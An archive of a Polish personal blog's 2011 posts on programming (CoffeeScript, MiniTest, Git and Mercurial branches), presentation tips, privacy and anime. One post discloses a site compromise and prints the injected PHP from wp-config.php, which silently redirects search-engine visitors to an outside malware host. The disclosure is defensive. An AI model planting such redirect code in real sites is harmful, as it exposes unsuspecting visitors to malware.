CoffeeScript i JSON

Grudzień 21st, 2011 § 0 comments § permalink

Tak, wiem,  że ostatnio narzekałem na CoffeeScript, ale nie zmieniło to faktu, że dalej chciałem ten język poznać i go używać, co oczywiście w swoim zaciszu robiłem. Okazuje się, że JSON można używać praktycznie tak samo jak w JavaScript, co jak dla mnie jest ogromnym + ;) Małe zmiany idealnie opisuje ten artykuł.

Tyle, podzielić się linkiem chciałem.

Bookmark and Share

Jak prezentować tak, by nikt nie umarł z nudów?

Grudzień 8th, 2011 § 0 comments § permalink

Tak ot mnie naszło z analizy tego, kiedy moje prezentacje były oceniane najwyżej, a kiedy nie zachwycały. Sprawdzone i gwarantowane, że będzie działać.

Nie uda Ci się jeśli nie robisz tego sam z siebie

Robisz to dlatego, że chcesz? Czy może dlatego, że ktoś ci kazał? Nic na siłę. Jeśli będziesz bez pasji, prezentacja nie będzie ciekawa. Nie będziesz naturalny – będziesz miał ochotę czytać z kartki oraz z prezentacji – nic od siebie.

Nie możesz czytać z kartki

Komunikujesz się ze swoimi widzami, nie z kartką. Musisz się patrzeć na nich, a nie na kartkę. Czasami możesz zerknąć na slajd jeśli go omawiasz, ale tylko zerknąć – nie możesz z niego bezmyślnie czytać. Masz o czymś opowiedzieć, a nie przeczytać słownikową definicję. Boisz się, że czegoś zapomnisz? Spokojnie – jeśli ty o czymś zapomniałeś, to widz tymbardziej nie będzie o tym pamiętał po odczytaniu tego. Nie ma sensu pchać nadmiarowej treści do prezentacji.

Pokazuj liczby

I nie chodzi mi tu o wielki napis 1000 na ekranie. Przybliż tą wartość. „Ilość nabytych u nas telefonów dziennie wynosi 1000″ nie brzmi tak dobrze jak „Co półtorej minuty jest sprzedawany telefon” – to drugie można sobie wyobrazić i naprawdę robi wrażenie.

Mów, dziel się swoją wiedzą i informacjami

Niektórzy po prostu puszczają prezentację i… tyle. Nie, to nie wystarczy – trzeba wyjść na środek i mówić.

Używaj odpowiedniego zasobu słów

Jeśli nie jest konieczna – staraj się unikać formalnej mowy. Formalna mowa rozprasza uwagę i nadaje się do usypiania.

Rozplanowuj swoje wywody

W tej sekcji powiem o tym, a w tej o tym, a tutaj dorzucę to – tak powinieneś sobie to ułożyć. Pamiętaj, że masz to mówić z głowy.

Dbaj o prostotę prezentacji

Szczególnie irytujące są animacje z PowerPointa – ich nadmierne używanie powinno być karalne. Szczególnie tych latających. Brr. Nie powinieneś też robić efektu tęczy – paleta kolorów składająca się z 3 odcieni w zupełności wystarczy. Pamiętaj o kontraście – to powinno się łatwo czytać.

Tyle odemnie – mam nadzieję, że pomogłem ;)

Moja preferowana broń jeśli chodzi o tworzenie prezentacji to prezi. Prezi jest do tworzenia prezentacji w sposób prosty i czytelny – nie posiada nadmiaru funkcji w stylu pierdyliarda animacji i skaczącego tekstu. Polecam w 100% i jest warte nawet abonamentu.

Bookmark and Share

nekomimi.rb: biblioteka do konwersji

Grudzień 6th, 2011 § 0 comments § permalink

Czyli pomysł na który wpadłem i zaczyna nabierać realnych kształtów. Jak na razie jeszcze WIP, ale myślę, że już za parę tygodni będę mógł się pochwalić działającą wersją :)

Idea

Konwersja jest zbyt zagmatwana. Najlepsi wysiadają na niektórych scenariuszach – szczególnie jak trzeba przekonwertować plik .mkv z osadzonymi subami .ass na telefon, tablet czy coś innego. A to nie są takie zwykłe suby, które można przekonwertować na .txt – mają style, przekształcenia, obsługują grafikę wektorową, etc. – a więc jak to ustrojstwo wyświetlić? Najlepszą opcją jest wyrenderowanie obrazu razem z wyświetlanymi subami i skompresowanie go. Na windowsie od tego jest avisynth – na innych systemach za to mamy te wspaniałe, 130 znakowe polecenia do mplayera, z jakimiś dodatkami x264, których na dodatek nikt nie rozumie. No ej, nie o to chyba chodzi?

Rozwiązanie

Jakby było coś prostego, ładnego, umożliwiającego ustawienie wielu zadań do konwersji świat wyglądałby lepiej. Ataki na WTC nie miałyby miejsca, a nyan cat zamiast na jednej tęczy leciałby na double rainbow! No i tu właśnie przychodzi nekomimi.rb – która to w swoim kodzie skrywa te wszystkie zagmatwania, dając ludziom tylko ładne proste API umożliwiające robienie praktycznie wszystkiego i zamieniające jakąkolwiek maszynę w prawdziwą fabrykę mediów. Przy okazji też sprawia, że jedyny słuszny system nie musi być jedyną słuszną opcją na wielu maszynach, które są dedykowane do konwersji właśnie. PiracUploaderzy też się ucieszą, że mogą wrzucić wiele plików na raz i mają gotową paczkę na urządzenia mobilne.

Kiedy?

Za parę tygodni postaram się stworzyć pierwszą wersję. Będzie dość uboga – konwersja tylko do H.264, profile konwersji będą dość długie z definicji oraz wiele funkcji będzie jeszcze niestworzonych. Ale ej – nawet to ułatwi znacząco życie mi i jestem pewien, że jeszcze komuś, po to jest to tworzone.

Bookmark and Share

Gałęzie w Git kontra gałęzie w Mercurial

Grudzień 6th, 2011 § 0 comments § permalink

To jest coś czego dowiedziałem się ostatnio, a myślę, że warto by się podzielić ;)

W Mercurial gałąź to część commitu. Nie da się jej po zacommitowaniu zmienić czy usunąć bez usuwania wszystkich commitów, które do niej nawiązują – jest permanentna. Dlatego właśnie powinny być używane tylko i wyłącznie do długo żyjącego kodu (np. release 1.x, 2.x itd.). Można oczywiście oznaczyć daną gałąź jako zamkniętą, ale dalej będzie ona istnieć. Innymi słowy jak nazwiesz ją jakoś dziwnie, a potem wrzucisz ją do zdalnego repozytorium – szykuj sznur.

W Git – gałąź to zwykła metadana. Można utworzyć jakąś gałąź, poprawić pare rzeczy, a potem ją kompletnie usunąć. To taki jakby tag, który jest przesuwany podczas commitowania. Podobną funkcjonalność w mercurialu mają zakładki, do których dostęp mamy przez $ hg bookmark (do 1.8 to rozszerzenie, które trzeba aktywować).

Hurr durr. Innymi słowy – jak chcesz wykonać parę zmian do kodu i mieć to ładnie oflagowane, używaj $ hg bookmark, nie $ hg branch.

Bookmark and Share

CoffeeScript i inne języki kompilowane do JavaScript

Listopad 29th, 2011 § 1 comment § permalink

CoffeeScript jest dość szeroko polecany i chwalony jako czytelna, hm… „nakładka” na JavaScript i ogólnie kompilowalny zamiennik jeśli ktoś pisze różne rzeczy (nie tylko webaplikacje) w tym ciekawym języku. Nie wiem czy tylko mi nie przypadł do gustu, ale niestety, nie przyjął się jak na razie u mnie i nie planuję jego wykorzystania.

  1. Osoby przyzwyczajone do JS dalej będą pisać kod podobny do tego z JavaScriptu – a więc krótszy kod możemy skreślić z listy zalet, przynajmniej na początku. Nie twierdzę, że te dodatki i skróty nie są przydatne – po prostu wymagają pewnego przyzwyczajenia
  2. JavaScript sam w sobie jest czytelny, ładny i cacy. Prawdę mówiąc stawiam go jako przykład czytelności dla innych języków.
  3. Debugowanie, debugowanie, debugowanie. Kod w CoffeScript przy używaniu jego wszystkich ficzerów wygląda zupełnie inaczej niż to co dostaje przeglądarka. I weź tu teraz śledź błędy.
  4. Konieczność kompilowania nie jest czymś co lubię robić, jeśli i tak nie wykorzystam potencjału danej rzeczy. No i sam fakt – po co jeszcze bardziej obciążać aplikację?
Nie neguję, że w pewnych sytuacjach warto go używać. Nie neguję oszczędności. Nie neguję przydatności. Po prostu nie uważam go za obowiązkową część jakiejkolwiek aplikacji – o ile rzeczy typu HAML diametralnie poprawiają prostotę pisania kodu i można wyciskać z nich 100% już po krótkim szkoleniu, o tyle CoffeeScript po prostu tego założenia nie spełnia.
Bookmark and Share

Komputer jako rzecz prywatna

Październik 25th, 2011 § 0 comments § permalink

Znajomy przychodzi do ciebie do domu, jakby nigdy nic bierze z biurka/stolika/sofy twojego laptopa, otwiera go i pyta się o hasło. Uważasz to za szczyt chamstwa? Ja tak. Po takim zachowaniu mam ochotę wywalić daną osobę z pokoju lub w ogóle z mieszkania. Tak samo z braniem telefonu bez pytania. A czemu?

Co byś zrobił jakby ktoś bez pytania wziął twoją bieliznę i zaczął ją przymierzać, założył i zapytał się jak wygląda? Jeśli odpowiesz, że przywalił w ryja i wywalił z domu, 10 punktów dla ciebie i good job. Uważam komputer za tak samo prywatną i intymną rzecz, z kilku powodów. Pierwszym powodem jest to, że na komputerze mamy wszystko. Od zdjęć, po muzykę, filmy, programy, historię przeglądania, wyszukiwań, zapisane hasła, klucze GPG, certyfikaty SSL, inne klucze kryptograficzne, zapisane dane o kontach do gier (które nierzadko są dużo warte, nawet jeśli tylko dla nas) i wiele wiele więcej rzeczy. Powtarzam jeszcze raz: wszystko. Z tym też można zrobić wszystko: ukraść, usunąć przez przypadek, zebrać informację o zainteresowaniach, przeszłości, nierzadko rzeczy o których normalnie nie mówimy, etc. „Pokaż mi to czego szukałeś, a ja powiem Ci kim jesteś”, można by rzec. Dlatego przeglądanie takiej ot zawartości dysku twardego jest jak czytanie pamiętnika, tylko o wiele bardziej szczegółowego, bo obejmującego każdą sferę naszego życia. Chyba jak ktoś by wziął wasz pamiętnik raczej bylibyście co najmniej poirytowani – i nie dziwię się, nikt nie powinien. Przeczytać wasz pamiętnik bez pytania lub założyć waszą bieliznę oczywiście może tylko skończony cham. I zboczeniec z tym ostatnim, przy okazji.

Zgoda, nie powinna dana osoba znaleźć nic wstydliwego, jeśli jesteś osobą porządną – co nie zmienia faktu, że czujesz się nieswojo. Nikt nie lubi nie mieć kontroli nad tym co wypowie, i w jaki sposób. Jeśli byłoby inaczej, pamiętniki byłyby publiczne, a całą zawartość dysków twardych udostępnialibyśmy publicznie, podpisując się jeszcze pod tym.

Kolejną sprawą jest jedno z podstawowych praw człowieka – prawo do prywatności. Jeśli ktoś robi coś takiego macie prawo nawet podać go do sądu, z tego co mi wiadomo, oczywiście (w praktyce bywa różnie). Nikt nie ma prawa go naruszać z czystej ciekawości. Jeśli mimo tego dana osoba twierdzi inaczej, ktoś z czystej ciekawości może jej wytoczyć powództwo lub, po staropolsku, przywalić w ryja.

I na koniec: jeśli jesteś osobą, która tak robi – zastanów się nad tym. Nie jest to ani miłe, ani grzeczne, ani nie przyniesie Ci żadnych przyjaciół.

Bookmark and Share

3 zobowiązania i 10 praw

Październik 14th, 2011 § 0 comments § permalink

Trochę mi doskwiera to, że chrześcijanie mają swój dekalog, a ja taki dość odosobniony jestem i na bezprawiu. A więc, to taki mój swoisty odpowiednik dekalogu, w większej ilości punktów.

Zobowiązania

  1. Zobowiązanie do realizacji przysięgi. Jeśli złożyłem przysięgę, że coś zrobię – postaram się robić to wszelkim kosztem. Wyjątkami są rzeczy w prawach, niżej.
  2. Zobowiązanie do pomocy. Jeśli widzę, że komuś grozi niebezpieczeństwo i jestem w stanie jakoś mu pomóc bez znacznego narażania siebie na utratę życia lub zdrowia – zrobię wszystko, co w mojej mocy. Nie oznacza to jednak, że będę kogoś prowadził za rękę cały czas.
  3. Zobowiązanie do wywiązania się z umowy. Jeśli zawarłem jakąś umowę i nie narusza ona moich praw wymienionych niżej – postaram się z niej wywiązać. W terminie.

Prawa

  1. Prawo własnego zdania. Mam prawo się nie zgadzać z kimkolwiek lub czymkolwiek w jakiejkolwiek sprawie. Wymuszenie na mnie własnego zdania nie jest najlepszą rzeczą jaką można zrobić, a raczej na pewno przyniesie ci odwrotność tego co zamierzałeś – jeśli naprawdę zależy Ci na mojej przychylności i masz argumenty, dyskutuj.
  2. Prawo zdarzeń losowych. Jeśli wypadnie mi coś, co uderza w dużym stopniu w moje zdolności – mam prawo czegoś nie zrobić lub zrobić z opóźnieniem.
  3. Prawo chęci. Jeśli coś nie jest moim obowiązkiem, ma prawo przestać mi się chcieć coś robić. Tak samo może mi się zacząć chcieć coś robić.
  4. Prawo bezsilności. Jeśli widzę, że nie jestem w stanie w danym momencie czegoś zrobić, lub bardziej bym przeszkadzał niż pomógł, powiem co jest przeszkodą i nie podejmę się czegoś tak długo jak to stosowne.
  5. Prawo do prywatności i milczenia. Są pewne rzeczy, które z różnych powodów nie są przekazywane dalej. Są też rzeczy o których nie chcę mówić. Jeśli nie chcę Ci czegoś pokazać, a nie dotyczy to Ciebie – uszanuj to.
  6. Prawo szacunku. Jeśli sobie zasłużyłeś, mam prawo darzyć Cię szacunkiem. Nie można tego wymusić, jest to mój prywatny osąd oraz jeśli wyrażę się o tym publicznie, podkreślę, że jest to tylko i wyłącznie moja subiektywna opinia na podstawie jednego punktu widzenia. Tak samo jeśli krytykujesz kogoś, kogo szanuję – musisz spodziewać się tego, że będę daną osobę widział inaczej.
  7. Prawo nieznajomości. Jeśli Cię nie znam – nie żądaj ode mnie zaufania czy innych rzeczy, nawet jeśli jesteś zaufany w szerokich gronach. Owszem, jest to jeden z wyznaczników, które są brane pod uwagę jeśli myślę o tym, czy komuś zaufać czy nie, ale w dużej mierze zależy to od tego jak Cię widzę. Wymagając ode mnie bezpodstawnie zaufania – w danym momencie je tracisz.
  8. Prawo niewiedzy. Mam prawo czegoś nie wiedzieć. Zamiast dziwić się lepszym wyjściem jest po prostu wyjaśnienie tego.
  9. Prawo braku stanowiska. Są pewne sądy, w wypadku których nie chcę zabrać głosu lub nie mam zdania. Nie powiem Ci czy islam jest lepszy od chrześcijaństwa lub odwrotnie. Nie ocenię także czy szatan jest tym złym czy Bóg. Nie tyczy się to tylko religii, ale i wielu innych spraw, w których nie mam rozeznania.
  10. Prawo obrony. W otwartej przestrzeni czy gdziekolwiek indziej, jeśli nie jestem u siebie – nie atakuję. Jeśli ty atakujesz mnie, za pierwszym razem poproszę Cię o to, abyś przestał. Słownie. Za drugim razem będę się bronił w jakikolwiek sposób uważam za słuszny – bez uszanowania twoich zasad czy ogólnych reguł. Jako obronę rozumiem też zemstę.

W sumie jak na to popatrzeć, to aż taki niecywilizowany nie jestem…

Bookmark and Share

Magiczna księga Ruby #1: MiniTest

Październik 14th, 2011 § 0 comments § permalink

Tym też wpisem rozpoczynam pierwszą serię artykułów o Ruby. Jej celem jest pokazanie ciekawych bibliotek, które mogą dodać pewnej magii do projektów, a jak na razie nie są zbytnio znane lub są, ale mało o nich artykułów i informacji w Polsce.

MiniTest

Pewnie każdy słyszał o Test::Unit, ale mało osób słyszało o tym, że w ruby 1.9 standardem stał się inny framework. Jest nim właśnie MiniTest. W ruby 1.9 Test::Unit jest zaimplementowane właśnie na bazie MiniTest.

Test::Unit < MiniTest

Test::Unit wcale nie jest lekkim frameworkiem. Miał kilka GUI, ogrom nieużywanych i niepotrzebnych funkcji oraz architekturę, którą trudno było optymalizować. Wraz z wejściem rspec na ring narzędzi do testów stał się też brzydki. Właśnie dlatego został stworzony MiniTest. Cała strona spec na chwilę pisania tego, ma 244 linie faktycznego kodu, jest bardzo lekki i jego system spec ma bardzo ładny syntax.

Przykład z README:

  describe Meme do
    before do
      @meme = Meme.new
    end

    describe "when asked about cheeseburgers" do
      it "must respond positively" do
        @meme.i_can_has_cheezburger?.must_equal "OHAI!"
      end
    end

    describe "when asked about blending possibilities" do
      it "won't say no" do
        @meme.will_it_blend?.wont_match /^no/i
      end
    end
  end

Prawda, że ładnie?

Jak rozpocząć korzystanie?

Na ruby 1.9:

require 'minitest/autorun'
require 'minitest/spec'

I już można używać describe. W wypadku ruby 1.8 (tutaj pragnę przypomnieć, że najwyższy czas na upgrade ;) ) trzeba doinstalować gem minitest (warto dorzucić do swojego Gemfile), reszta jest taka sama jak dla 1.9. Jak widać nie jest to zbyt ciężkie.

A co do samego MiniTest, niewykluczone, że napiszę jeszcze jakąś osobną serię artykułów o nim (lub ogólnie o TDD) – czas pokaże, a ostatnio mam go pod dostatkiem.

Bookmark and Share

Dziura: Syf w kodzie

Październik 13th, 2011 § 0 comments § permalink

Coś co odkryłem dzisiaj. Wszystkim osobom, które się tu dostawały z Google, czy czegokolwiek innego większego, była serwowana strona z malware. Kod robaka, który był dopisany do wp-config.php:

error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER['HTTP_REFERER'];
$uag=$_SERVER['HTTP_USER_AGENT'];
if ($uag) {
if (stristr($referer,"yandex") or stristr($referer,"yahoo") or stristr($referer,"google") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"baidu.com") or stristr($referer,"doubleclick.net") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or stristr($referer,"clickbank.net") or stristr($referer,"blogspot.com") or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) {
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
	header("Location: http://tenderloin.osa.pl/");
	exit();
}
}
	}
	}

Czekam na informacje od hostingodawcy ws. logów FTP.

Co robić?

Jeśli wchodziłeś tutaj w ciągu tygodnia z Google lub w jakiś inny sposób, który by aktywował w/w w kodzie filtr, skan, aktualizacja pluginów przeglądarki, etc. – standardowe rutynowe czynności. Jeśli pluginy oraz przeglądarke aktualizujesz regularnie – raczej powinieneś spać spokojnie.

Przepraszam za sytuację, powinienem bardziej pilnować tego typu rzeczy. Jak dostane więcej informacji, podam je tutaj.

Bookmark and Share

Bakemonogatari

Wrzesień 25th, 2011 § 0 comments § permalink

Bakemonogatari to dość specyficzne anime, ze specyficznym artworkiem, specyficznym stylem i nierzadko rozwalającym wszystko, specyficznym humorem. Nie nie, link to nie spoiler, ta scena jest osobna (i znam wiele osób, którym wystarczyła ta scena, żeby to tego anime się przekonać ;)).

Wstęp do akcji

Koyomi Araragi – „zwykła” postać. Jego życie zmienia się pewnego dnia, kiedy złapał pewną dziewczynę, gdy ona spadała klatką schodową. Zauważył jedno – była niezmiernie lekka. Jest bardzo wkurzona, że odkrył przez to jej sekret i grozi mu tak, aby o tym nie wspomniał, wbijając przy tym mu zszywkę w policzek. Jednakże on pokazuje jej, że jest w stanie pomóc dając dowód swojej nienormalności – rana już się zagoiła.

Fabuła

Fabuła sama w sobie jest naprawdę świetna i ciekawa. Głównym tematem tego anime jest poznawanie perypetii i rozwiązywanie problemów jego bohaterów – niektórych znamy już od 1 odcinka, innych poznajemy później, albo to w wyniku przypadku, albo występuje motyw starej przyjaciółki z dzieciństwa. Od razu mówię, jeśli ktoś wybiera tym kryterium – nie, żaden problem bohaterów nie jest przyziemny, w anime aż roi się od duchów, bogów, wampirów i wszelakich nadnaturalnych postaci. Nie jest to slice of life. Wszystkie wątki jednak są za to ciekawe i wciągające, a postaci nie są mętne czy bezosobowe – u każdej można „poczuć” jej charakter.

Animacja i artwork

No tutaj nikt nie ma na co narzekać. Animacja jest wykonana świetnie. Tak samo postaci i otoczenia – bogate tła, przyjemne dla oka, bardzo też charakterystyczne anime. Jak dla mnie to całkiem nowy styl, którego wcześniej nie widziałem (jak ktoś ma anime z podobnym stylem graficznym, chętnie się o nim dowiem). Oczywiście wszystko zachowuje charakterystyczną dla anime kreskę i styl rysowania postaci, aczkolwiek nie znajdziemy tu szablonowego moe – co dla mnie jest plusem (takich postaci jest za dużo i jeszcze często są bardzo podobne). Ale daję 9/10 za pojawiające się co chwila na krótko slajdy tekstu (męczą i dużo osób zatrzymuje je, żeby przeczytać – nie o to raczej chodzi w anime).

Muzyka

Jeśli ktoś zna tytuł soundtracku do Oshino – niech da znać. Wracając do muzyki, openingi były zazwyczaj świetne (jakoś niespecjalnie lubiłem drugi), a ending – niech najlepiej przemówi za siebie - chociaż on szczególnie mi się spodobał graficznie, więc to też taki mały dodatek do sekcji o artworku.

Podsumowanie

To anime w którym wszystko jest świetne – od fabuły do muzyki, ale nie jest perfekcyjne. Jak wszystko ma swoje minusy. Podsumowując co mi się nie spodobało:

  • live action opening (to nie pasowało zbytnio do żadnej sekcji)
  • slajdy tekstu
  • drugi opening
  • momentami sceny wyglądały gorzej (np. te na placu zabaw – na pewno dało się to jakoś zrobić ładniej, jak ktoś obejrzy to będzie wiedział o czym mówię)
  • hmm… mogę też chyba powiedzieć, że odrobinę za krótkie – ale to nie do końca minus, ponoć ma za niedługo wyjść sequel

Czyli wychodzi takie 9,5/10. Polecam każdemu kto ma chwilę wolnego czasu i jeszcze nie oglądał.

P.S.

Mam od dzisiaj też konto na soupie (yay, ale ja 2.0 ;) ) - będę też tam publikował skróty tych recenzji tutaj i różne pierdoły, nie nadające się na pełnego posta. No i chyba tyle.

Bookmark and Share
  • O autorze

    exine, geek, programista, fan anime i wielu innych rzeczy, które trudno wymienić na raz. Ten blog to skupisko wielu rzeczy z różnych dziedzin, technicznych i nietechnicznych + moje własne przemyślenia na różne tematy.
  • Sponsorzy